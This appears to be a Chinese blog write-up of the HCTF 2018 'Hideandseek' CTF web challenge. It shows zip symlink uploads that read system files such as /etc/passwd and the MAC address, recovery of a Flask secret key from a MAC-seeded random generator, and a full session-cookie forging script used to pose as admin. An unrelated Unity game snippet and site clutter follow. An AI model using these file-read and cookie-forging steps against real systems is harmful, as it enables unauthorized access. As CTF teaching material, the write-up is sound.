[HCTF 2018]Hideandseek

知识点:flask-session伪造,文件读取,mac地址查询

解题过程

1. 注册用户并登录

打开容器,提醒我们需要登录
在这里插入图片描述
随便输入username和password,直接就算注册了,估计不是数据库。但是要注意,username不能是admin,因为接下来需要伪造admin的session。
在这里插入图片描述

2. 文件读取

登录之后,提醒我们需要提交zip压缩文件。随便测试一下,将1.txt进行压缩,提交,回显的是里面的内容
在这里插入图片描述
可能是有文件读取,我们可以创建一个软链接,将其指向服务器上的文件,看看是否能够读取出来

在linux环境下执行
ln -s /etc/passwd passwd
zip -y passwd.zip passwd

将得到的passwd.zip进行上传,可以正常回显
在这里插入图片描述

2.1 读取/proc/self/environ

接着读取/proc/self/environ,查看当前的环境变量信息

ln -s /proc/self/environ en
zip -y en.zip en

en.zip进行提交,回显如下
在这里插入图片描述

2.2 读取/app/uwsgi.ini

注意DUWSGI_INI=/app/uwsgi.ini

uWSGI是一个Web服务器,它实现了WSGI协议、uwsgi、http等协议。Nginx中HttpUwsgiModule的作用是与uWSGI服务器进行交换。WSGI是一种Web服务器网关接口。它是一个Web服务器(如nginx,uWSGI等服务器)与web应用(如用Flask框架写的程序)通信的一种规范。

读取/app/uwsgi.ini

ln -s /app/uwsgi.ini us
zip -y us.zip us

将us.zip提交,回显

[uwsgi] module = main callable=app logto = /tmp/hard_t0_guess_n9p2i5a6d1s_uwsgi.log
2.3 读取源码

试一下读取/app/main.py文件,

ln -s /app/main.py main
zip -y main.zip main

嘶,回显的不是很理想
在这里插入图片描述后来看了大佬的博客,可能是buuoj的环境有点问题, /app/uwsgi.ini回显中应该是module=/app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py,读取/app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py即可得到源文件

# -*- coding: utf-8 -*-
from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import flag
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])

def allowed_file(filename):
    return '.' in filename and \
           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS


@app.route('/', methods=['GET'])
def index():
    error = request.args.get('error', '')
    if(error == '1'):
        session.pop('username', None)
        return render_template('index.html', forbidden=1)

    if 'username' in session:
        return render_template('index.html', user=session['username'], flag=flag.flag)
    else:
        return render_template('index.html')


@app.route('/login', methods=['POST'])
def login():
    username=request.form['username']
    password=request.form['password']
    if request.method == 'POST' and username != '' and password != '':
        if(username == 'admin'):
            return redirect(url_for('index',error=1))
        session['username'] = username
    return redirect(url_for('index'))


@app.route('/logout', methods=['GET'])
def logout():
    session.pop('username', None)
    return redirect(url_for('index'))

@app.route('/upload', methods=['POST'])
def upload_file():
    if 'the_file' not in request.files:
        return redirect(url_for('index'))
    file = request.files['the_file']
    if file.filename == '':
        return redirect(url_for('index'))
    if file and allowed_file(file.filename):
        filename = secure_filename(file.filename)
        file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
        if(os.path.exists(file_save_path)):
            return 'This file already exists'
        file.save(file_save_path)
    else:
        return 'This file is not a zipfile'


    try:
        extract_path = file_save_path + '_'
        os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
        read_obj = os.popen('cat ' + extract_path + '/*')
        file = read_obj.read()
        read_obj.close()
        os.system('rm -rf ' + extract_path)
    except Exception as e:
        file = None

    os.remove(file_save_path)
    if(file != None):
        if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
            return redirect(url_for('index', error=1))
    return Response(file)


if __name__ == '__main__':
    #app.run(debug=True)
    app.run(host='0.0.0.0', debug=True, port=10008)

3. 伪随机数种子

有了源码,就需要根据源码伪造admin的session,而session构造需要SECRET_KEY,看源码,SECRET_KEY等于一个随机数,但是这个随机数是通过设置随机数种子生成的。之前做的一个伪随机数的题,知道只要种子一样,后面生成的随机数是一样的。

random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)

所以看一下生成伪随机数种子的函数uuid.getnode()

3.1 关于uuid.getnode()

源链接:Python——uuid
在这里插入图片描述

3.2 mac地址

所以想得到种子,就需要容器的mac地址
根据前面我们知道的文件读取功能,尝试读取/sys/class/net/eth0/address来得到mac地址

ln -s /sys/class/net/eth0/address mac
zip -y mac.zip mac

提交mac.zip,得到02:42:ac:10:9e:a1

3.3 由mac地址得到伪随机数种子
import uuid
import random

mac = "02:42:ac:10:9e:a1"
temp = mac.split(':')
temp = [int(i,16) for i in temp]
temp = [bin(i).replace('0b','').zfill(8) for i in temp]
temp = ''.join(temp)
mac = int(temp,2)
print(mac)#将mac转为十进制

random.seed(mac)
print(random.random()*100)#由转化后的mac得到伪随机数种子

---------- python3.8 ----------
2485377867425
23.369338877463953

输出完成 (耗时 0) - 正常终止

4. 使用脚本伪造admin的session

flask_session_manager.py

""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'

# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast

# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
    raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    from abc import ABCMeta, abstractmethod
else: # > 3.4
    from abc import ABC, abstractmethod

# Lib for argument parsing
import argparse

# external Imports
from flask.sessions import SecureCookieSessionInterface

class MockApp(object):

    def __init__(self, secret_key):
        self.secret_key = secret_key


if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    class FSCM(metaclass=ABCMeta):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e


        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e
else: # > 3.4
    class FSCM(ABC):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e


        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e


if __name__ == "__main__":
    # Args are only relevant for __main__ usage
    
    ## Description for help
    parser = argparse.ArgumentParser(
                description='Flask Session Cookie Decoder/Encoder',
                epilog="Author : Wilson Sumanang, Alexandre ZANNI")

    ## prepare sub commands
    subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')

    ## create the parser for the encode command
    parser_encode = subparsers.add_parser('encode', help='encode')
    parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
                                help='Secret key', required=True)
    parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
                                help='Session cookie structure', required=True)

    ## create the parser for the decode command
    parser_decode = subparsers.add_parser('decode', help='decode')
    parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
                                help='Secret key', required=False)
    parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
                                help='Session cookie value', required=True)

    ## get args
    args = parser.parse_args()

    ## find the option chosen
    if(args.subcommand == 'encode'):
        if(args.secret_key is not None and args.cookie_structure is not None):
            print(FSCM.encode(args.secret_key, args.cookie_structure))
    elif(args.subcommand == 'decode'):
        if(args.secret_key is not None and args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value,args.secret_key))
        elif(args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value))

在python3的环境下执行

python flask_session_manager.py encode -s '23.369338877463953' -t "{'username':'admin'}"

在这里插入图片描述抓包将伪造的session替换,即可得到flag
在这里插入图片描述回显
在这里插入图片描述

参考链接

  1. BUUCTF:[HCTF 2018]Hide and seek
  2. Python——uuid
  3. 记[HCTF 2018]Hideandseek
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
以下是一个简单的躲猫猫游戏的示例代码,使用Unity的依赖和C#编写: ``` using UnityEngine; public class HideAndSeek : MonoBehaviour { public GameObject cat; public Transform[] hidingSpots; private int currentHidingSpotIndex; private bool isGameRunning; private void Start() { currentHidingSpotIndex = 0; isGameRunning = true; cat.SetActive(false); } private void Update() { if (isGameRunning) { if (Input.GetKeyDown(KeyCode.Space)) { StartGame(); } else if (Input.GetKeyDown(KeyCode.UpArrow)) { CheckHidingSpot(); } } } private void StartGame() { cat.SetActive(true); currentHidingSpotIndex = Random.Range(0, hidingSpots.Length); } private void CheckHidingSpot() { if (cat.activeSelf) { float distance = Vector3.Distance(cat.transform.position, hidingSpots[currentHidingSpotIndex].position); if (distance < 2f) { Debug.Log("You win!"); isGameRunning = false; } else { Debug.Log("Try again!"); } } else { Debug.Log("Start the game first!"); } } } ``` 这个示例中,我们有一个 `HideAndSeek` 类,它有三个公共变量:一个猫的 `GameObject`,一个隐藏点的 `Transform` 数组和一个当前隐藏点的索引。`Start` 方法初始化了游戏状态,将猫隐藏,并将当前隐藏点索引设置为0。`Update` 方法检查玩家的输入并调用对应的方法。如果玩家按下空格键,游戏开始,如果玩家按下向上箭头键,检查当前隐藏点是否正确。如果玩家赢了,游戏结束,如果玩家输了,继续尝试。 在 `StartGame` 方法中,我们将猫显示出来,并随机选择一个隐藏点。在 `CheckHidingSpot` 方法中,我们检查猫是否显示出来,如果是,我们计算猫和当前隐藏点之间的距离。如果距离小于2个单位,则玩家赢得了游戏,否则他们需要继续尝试。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值